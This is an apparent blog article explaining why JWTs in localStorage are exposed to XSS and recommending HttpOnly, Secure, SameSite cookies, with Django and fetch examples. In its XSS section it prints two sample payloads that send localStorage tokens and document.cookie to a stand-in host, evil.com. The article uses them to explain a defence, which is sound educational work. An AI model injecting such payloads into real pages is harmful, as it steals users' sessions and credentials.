Stop Using localStorage for Auth Tokens: A Security Deep Dive
Why storing JWTs in localStorage is a security vulnerability, how XSS attacks exploit it, and the correct way to handle authentication tokens in modern web applications.
The Problem Everyone Ignores
Go to any Next.js or React tutorial about JWT authentication. 90% of them will show you this:
// DON'T DO THIS
const login = async (credentials) => {
const res = await fetch('/api/auth/login', { ... });
const { access_token } = await res.json();
localStorage.setItem('token', access_token); // <-- VULNERABLE
};This is a Cross-Site Scripting (XSS) vulnerability. Any JavaScript running on your page can read localStorage. If an attacker injects even one line of JavaScript (via a third-party script, npm supply chain attack, or unescaped user input), they steal every user's auth token.
How XSS Steals localStorage Tokens
An attacker doesn't need to hack your server. They just need to run JavaScript on your page:
// Attacker's payload (injected via comment field, ad script, etc.)
new Image().src = 'https://evil.com/steal?token='
+ localStorage.getItem('token');
// Or they exfiltrate via fetch
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie,
url: window.location.href
})
});Common XSS vectors: unescaped dangerouslySetInnerHTML, compromised npm packages, third-party analytics/chat scripts, user-generated content rendered as HTML.
The Correct Approach: HttpOnly Cookies
Store tokens in HttpOnly, Secure, SameSite cookies. JavaScript cannot read HttpOnly cookies — they're sent automatically by the browser with every request.
# Django backend: set token as HttpOnly cookie
from django.http import JsonResponse
def login_view(request):
user = authenticate(request)
access_token = generate_jwt(user)
refresh_token = generate_refresh_token(user)
response = JsonResponse({'user': serialize(user)})
# HttpOnly: JavaScript can't read it (XSS safe)
# Secure: only sent over HTTPS
# SameSite=Lax: prevents CSRF on most requests
response.set_cookie(
'access_token', access_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=15 * 60, # 15 minutes
path='/',
)
response.set_cookie(
'refresh_token', refresh_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=7 * 24 * 60 * 60, # 7 days
path='/api/auth/refresh/', # only sent to refresh endpoint
)
return responseFrontend: No Token Management Needed
With HttpOnly cookies, the frontend doesn't touch tokens at all. The browser handles everything:
// Frontend: cookies are sent automatically
const getProfile = async () => {
const res = await fetch('/api/profile/', {
credentials: 'include', // include cookies
});
return res.json();
};
// No localStorage, no token parsing, no auth headers
// The browser sends the HttpOnly cookie automaticallyComparison: localStorage vs HttpOnly Cookies
| Attack Vector | localStorage | HttpOnly Cookie |
|---|---|---|
| XSS (script injection) | Token stolen | Token safe (JS can't read) |
| CSRF (cross-site request) | Safe (not auto-sent) | Protected by SameSite=Lax |
| npm supply chain attack | Token stolen | Token safe |
| Browser extension access | Token readable | Token hidden |
| Network sniffing | If sent in header: visible | Secure flag: HTTPS only |
What About CSRF?
The common argument for localStorage is 'cookies are vulnerable to CSRF.' This was true 10 years ago. Modern browsers support SameSite=Lax which blocks cross-origin requests from sending cookies. Combined with Django's CSRF middleware for state-changing requests, CSRF is effectively eliminated.
For extra safety, use the double-submit cookie pattern: the server sets a non-HttpOnly CSRF token cookie, the frontend reads it and sends it as a header, the server verifies they match.
The Bottom Line
If you're building authentication in 2026, use HttpOnly cookies. The XSS attack surface of localStorage is too large, especially with modern apps loading dozens of third-party scripts. Your users' sessions depend on it.
Security is not a feature you add later. The choice between localStorage and HttpOnly cookies is the difference between 'we got hacked' and 'the attack was mitigated.'
— OWASP Authentication Cheat Sheet
